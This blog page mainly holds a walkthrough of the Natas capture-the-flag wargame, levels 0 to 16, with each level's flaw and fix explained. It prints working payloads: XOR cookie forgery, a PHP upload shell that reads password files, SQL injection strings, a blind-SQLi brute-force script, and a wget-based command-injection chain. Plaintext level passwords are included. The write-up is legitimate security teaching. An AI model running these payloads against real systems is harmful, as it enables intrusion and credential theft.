Colourblind

Doin' the legacy mambo

Thu, 03 Jan 2013 11:01:30 GMT

strSQL = "EXEC SelectAllFromTable_stp 'Inspector_tbl'"

It's going to be a long day . . .

Natas CTF - Levels 11 to 16

Fri, 07 Dec 2012 12:01:10 GMT

As promised, here's the remaining levels of Over the Wire's Natas CTF. The first levels can be found here.

Obviously, spoilers ahoy . . .

******************************************************

Level 11

So let's talk about XOR encryption.

If P is our plaintext, K is our key and C is our ciphertext, then the following is true:

P ^ K = C
C ^ K = P
P ^ C = K

What does this mean? This means that it's trivial to get the key used to encrypt a message with a known plaintext attack. If we know what's going in and we know what's coming out then we can extract the key. Once we have the key we can encrypt our own messages.

   1:   import base64

2:

   3:   cipher = base64.b64decode('ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw=')

   4:   clear = '{"showpassword":"no","bgcolor":"#ffffff"}'

5:

   6:   result = ''

   7:   for i in range(len(clear)):

   8:       result = result + chr(ord(cipher[i]) ^ ord(clear[i]))

   9:   print(result)

What this will spit out is the same string, repeated over and over. This is our key. So now we know the key we can encrypt our own string, place it into the cookie and reload the page.

   1:   import base64

2:

   3:   payload = '{"showpassword":"yes","bgcolor":"#ffffff"}'

4:

   5:   key = 'KEY_HERE'

   6:   out = ''

   7:   for i in range(len(payload)):

   8:       out = out + chr(ord(payload[i]) ^ ord(key[i % len(key)]))

9:

  10:   print(base64.b64encode(out))

The mistake: Trusting client input, again.

The solution: Don't trust the client blah blah blah. I'm getting bored of saying that. Also, don't use an XOR cipher for anything. Ever.

Level 12

File uploads are always ripe for exploitable, because they allow you to get your own code onto the target machine. We know from the pre-amble on the homepage that the list of passwords can be found in /etc/natas_webpass, so let's go get it.

<?php
    readfile('/etc/natas_webpass/natas13');

We also have to manipulate the filename that will be used when it's uploaded so that it's saved with a PHP extension and is therefore executed as such by the server. Luckily for us they include the filename that will be used by the when the upload is saved as a hidden form field. I have no idea why. Either way, we can change that on-the-fly using a proxy like Fiddler, or doctor the form in the page using Firebug. Or just do it all on the command line with wget or curl.

Either way, once your file is uploaded, browse to it's location to get your next password.

The mistake: Executable rights on the upload folder.

The solution: Limit the folder to read and write. Oh, and just for a change don't trust anything the client sends you (the filename, in this case).

Level 13

This is very similar to the previous level, except that the server attempts to verify that the file is a JPEG using PHP's exif_imagetype() function. A little bit of research tells us that the function works by checking for the presence of the JPEG signature in the first 4 bytes of the file.

It's trivial to add the JPEG signature (there are several I ended up using 0xffd8ffe0) to the front of your uploaded file before the first PHP tag and then just perform the same steps as level 12.

The mistake: See above.

The solution: See above.

Level 14

Ah, there had to be a SQL injection problem in here somewhere!

Since the query is being built by nailing user-supplied input directly into the SQL we can break out of the expected query and bend it to our will. For example, if instead of supplying a password I enter the following:

" or 1 or "

The query being sent from the database now turns from something like this:

SELECT * from users where username="foo" and password="bar"

Into this:

SELECT * from users where username="foo" and password="" or 1 or ""

Since this query will always return rows, the check will pass and we'll get our next password.

The mistake: Never build your SQL through raw string concatenation.

The solution: Stored procedures, parameterised queries, ORMs, data abstraction. It's actually more difficult to be vulnerable to this stuff than it to be secure these days.

Level 15

More database password shenanigans, but since the result of the query is never dumped to the page, we have to be a little more sneaky. The code is still vulnerable to SQLi, so we can test abritrary passwords easily enough using the following (the gubbins on the end finishes the query and causes the rest to be treated a comment so we don't end up with a malformed request to the database):

natas16" and password="foo";#

This will tell us the user doesn't exist if we guessed incorrectly. We can iterate through all of the potential passwords (let's go with the assumption the password follows the same format as the previous levels), but while brute-forcing in this way is possible, it's not viable. The worse-case scenario is that we'd have to test pow(62, 32) possibilities (which causes my calculator to run out of digits).

Thankfully we can use SQLi to check the characters of the password one at a time using SQL's LIKE operator. For example, if we enter the following as input:

natas16" and password like "a%";#

then we'll get a response from the server with either a yay or a nay. If we keep going we'll eventually get told the user exists once we've tried 3%, so we know the first character of the password is 3. We can now start on 3a% and work towards the second character. This allows us to check the characters of the password one at a time, so our search space is 62 * 32 passwords, which is much more civilised.

So here's what we end up with, using ye olde urllib, since I keep forgetting to install requests.

   1:   import urllib2

   2:   import time

   3:   import sys

4:

   5:   chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'

   6:   headers={'Authorization': 'Basic bmF0YXMxNTptMmF6bGw3Skg2SFM4QXkzU09qRzNBR0dsREdUSlNUVg=='}

7:

   8:   found = '' if len(sys.argv) == 1 else sys.argv[1]

   9:   for i in range(len(found), 32):

  10:       for j in range(len(chars)):

  11:           attempt = found + chars[j]

  12:           query = "natas16%22%20and%20password%20like%20binary%20%22" + attempt + "%25%22%20%23"

  13:           url = "http://natas15.natas.labs.overthewire.org/?debug&username=" + query

  14:           request = urllib2.Request(url, headers=headers)

  15:           response = urllib2.urlopen(request)

  16:           result = response.read()

  17:           if 'This user exists' in result:

  18:               found = attempt

  19:               break

  20:           response.close()

  21:           time.sleep(0.5)

  22:           sys.stdout.write('.')

  23:       print('\n' + found)

No real mystery in that code. It works through the password one character at a time, moving on to the next one whenever it finds a match. The only crafty bit in here is the use of the BINARY keyword to force a case sensitive search.

Start this running, and then find some way to kill time until it's worked its magic.

The mistake: SQL injection, again.

The solution: As above, if you're still vulnerable to SQLi in this day and age you should be tarred and feathered.

Level 16

It's a return to the halcyon days of levels 9 and 10!

If we take a closer look at the way the command is constructed we can see that dollar sign is missing from the blacklist. This means it's vulnerable to the use of $() for command substitution. The issue comes in how we exfiltrate the data . . .

Thankfully we can execute whatever code we want on the server as a result of Level 12. So I slung up a script that simply calls the PHP function passthru (which we came across in Level 12 and essentially runs arbitrary commands), taking it's input directly from the querystring. This is scrappier than it needs to be; I could have use a more specific script here, but it took me a while to get to the solution and this was part of a more general attempt.

$(wget --user=natas12 --password=sh7DrWKtb8xw9PIMkh8OQsgno6iZnJQu 
--header=Host:natas12.natas.labs.overthewire.org 
http://localhost/upload/YOUR_SCRIPT.php?cmd=echo%20$(cat /etc/natas_webpass/natas17)%20%3E%20woot.txt)

So it's all a bit matryoshka, but essentially this uses command substitution to execute wget, making a call to our command line script from level 12. We use command substitution a second time to grab the contents of the /etc/natas_webpass/natas17 file, so once we've done the second substitution and cleaned up the URL encoding the command which is run on the level 12 server is actually this:

echo ZE_PASSWORD > woot.txt

You can then simply browse to the woot.txt file on natas12 and collect our final flag!

The mistake: Same issues as level 10.

The solution: Aaaand the same solutions.

******************************************************

All in all it was a fun CTF with a pretty decent difficulty curve, and I'll probably go back and try out some of their others off the back of this.

Natas CTF - Levels 0 to 10

Fri, 16 Nov 2012 12:43:04 GMT

In the last year or so I've become quite enamoured with netsec capture the flag games, after stumbling across the first Stripe CTF earlier in the year. Since then I did the second Stripe CTF and have been chugging through Smash The Stack's IO. I always find myself learning a lot and enjoying the challenges, even if it means learning gdb from scratch pretty much every time. That stuff just doesn't seem to stick.

Anyhoo, the latest one I've been playing with is the Natas CTF from Over The Wire. The first levels are pitched at people looking to learn the basics, although shit gets real from level 11 and up, so I'll cover solutions for up to level 10 for now and fill in the others in a later post, since they're a lot more involved.

It goes without saying that here be spoilers . . .

******************************************************

Level 0

The password for the next level is in a comment of the HTML, so view source and we're good to go. Yeah, this stuff starts pretty gently.

The mistake: The key is right there in the HTML.

The solution: Don't put the key in the HTML. Srsly.

Level 1

Same again, but we can't right-click and get to the context menu to view the source. We can disable Javascript in the browser. We can snag the response from the wire with a proxy. We can use wget. Or just use the menus like your grandma. That's what I did.

The mistake: Relying on Javascript for security.

The solution: Don't send anything to the client that you don't want them to see. Trivial, but meh. Also, Javascript is easy to disable. Don't make it something your system depends upon. That includes data validation. By all means use it to report failures to the user early, but you need to replicate that validation on the server.

Level 2

There is nothing on this page

OK, now we're getting somewhere. Viewing the HTML will reveal a 1x1 pixel image with the path /files/pixel.png. Point your client at /files/ and we find that the directory is browsable. Open users.txt for the sweet, sweet passwordy goodness.

The mistake: Not browsable directories (although the use-case for them is pretty small - just turn them off), but rather putting sensitive information below the webroot.

The solution: Don't do it.

Level 3

Viewing source this time reveals this clue. The hint is the reference to Google. Browse to /robots.txt to see which URLs are explicitly blocked to web crawlers, and then refer to the previous level.

The mistake: robots.txt is for making things not appear in search engines (as long as they honour it), not hiding things. If your security depends entirely making it available for the world but assuming people won't find it, then you're bad and you should feel bad. Source: reality.

The solution: Same as above. Don't make your super squirrel secrets servable.

Level 4

Access disallowed. You are visiting from "" while authorized users should come only from "http://natas5.natas.labs.overthewire.org/"

The most obvious way to establish this is to check the Referrer (or Referer, because HTTP can't spell), so we'll need to manually tweak the HTTP headers of the request. I ended up using Fiddler for this, although there's several Firefox plugins for modifying headers, and you can do the same with curl or wget. Set the Referer header to "http://natas5.natas.labs.overthewire.org/", and open sesame!

wget --user=natas4 --password=PREVIOUS_LEVELS_PASSWORD
    --referer=http://natas5.natas.labs.overthewire.org/ 
    http://natas4.natas.labs.overthewire.org/

The mistake: Trusting what the client is sending you.

The solution: Don't do it. More specifically: if you really, really need to know where a user came from you'll need to put something in their session - session! not cookie! If it's across applications then it starts to get complicated and will involve links containing tokens or tracking Javascript in one or the other domain.

Level 5

Access disallowed. You are not logged in

Ruh roh.

There's not a lot to go on here, so let's check the usual suspects. Persistence generally means cookies, and the Web Developer addon for Firefox allows us to view and edit cookies for a page, among its many talents.

Edit, you say? Why yes, I think I shall. Set it to 1, reload the page and the key is yours.

The mistake: Trusting what the client is sending you.

Level 6

This one is essentially the same as levels 2 and 3, with some PHP in the way to muddy the waters. Browse to the file specified in the source and then enter it as the password.

The mistake: Sharing your source code?

The solution: Know where your secrets are. I've checked passwords I shouldn't have into open source repositories before myself. Put it in config files or the database.

Level 7

The 'page' parameter in the querystring is vulnerable to local file inclusion. We know that the flags are stored in /etc/natas_webpass/natasX (where X is the level number). So by browsing to /index.php?page=/etc/natas_webpass/natas8 we get to see the next flag.

For shits and giggles you can also include anything else in the file system which you have read access to. /etc/passwd? You got it.

The mistake: Directory traversal.

The solution: At the very least normalise the path and make sure they're staying in the webroot, although it's better to make the user-supplied parameter a key into a lookup so they can only browse to fixed values. And forcing the extension of the parameter on the server side would help. Either which way, you're basically reinventing the CMS.

Level 8

For this one we know the mechanism by which the secret is encoded and all of the operations are reversible so we can simply do the inverse of those functions in the reverse order and we're good to go. I ended up using codepad.viper-7.com since most of the others didn't support 5.4 (which is necessary for the hex2bin function), but it seems to be on the fritz at the moment so try 3v4l.org.

base64_decode(strrev(hex2bin("3d3d516343746d4d6d6c315669563362")))

Now we've got our password, enter it into the form to continue.

The mistake: See level 6.

The solution: See level 6.

Level 9

This level is passing user input almost directly to the command line. The parameter is not even quoted in the command sent to the OS, we can add a space and a second file to search through. We can use . to match everything and then comment out the rest of the line using #.

. /etc/natas_webpass/natas10 #

The mistake: Passing client input directly to the command line.

The solution: Find another way. You could mitigate the damage of this kind of thing by careful quoting and encoding and character filtering, but you've only got to miss one and you're screwed.

Level 10

Turns out my exploit for Level 9 works here as well. Which is nice.

The mistake: Same as the previous level.

The solution: If you're going to deny characters, consider whitelisting rather than blacklisting. It's easy to miss a few and it's a good idea to fail closed for security-sensitive code.

******************************************************

That'll do for now. Things get a little more involved from here on out, so I want to devote more time to each one. Stay tuned!

Filling the IIS7 SMTP hole with Python Goodness

Thu, 11 Oct 2012 14:43:23 GMT

I'm currently working on a site with a load of background processes that run and fire emails left, right and centre. And it's on IIS7, so I don't have a local SMTP server at my disposal. Dang.

But wait! I bet Python has some magical module which does crap like this. Could I just import SMTP from python and be on my merry way?

   1:   import smtpd

   2:   import asyncore

   3:   import os

   4:   import sys

   5:   from datetime import datetime

6:

   7:   class StoreSMTP(smtpd.SMTPServer):

   8:       def __init__(*args, **kwargs):

   9:           smtpd.SMTPServer.__init__(*args, **kwargs)

10:

  11:       def process_message(self, peer, mailfrom, rcpttos, data):

  12:           filename = '{0}_{1}.txt'.format(rcpttos[0], datetime.now().strftime('%Y%m%d-%H%M%S-%f'))

  13:           print('Writing: ' + filename)

  14:           f = open(os.path.join(self._remoteaddr, filename), 'a')

  15:           f.write(data)

  16:           f.close()

17:

  18:   if __name__ == '__main__':

  19:       path = sys.argv[1] if len(sys.argv) > 1 else '.'

  20:       if not os.path.exists(path):

  21:           os.mkdir(path)

  22:       print('Running [' + path + '] . . .')

  23:       server = StoreSMTP(('localhost', 25), path)

  24:       try:

  25:           asyncore.loop()

  26:       except KeyboardInterrupt:

  27:           server.close()

I guess so.

More Canvas Frolics

Wed, 29 Aug 2012 21:43:10 GMT

I made another thing.

Next post will probably be a write-up of my time spent wrestling with Stripe CTF 2.0. I had some real fun with it, but my notes are a wreck and I need to make sure I understand them before I try to communicate them to the world!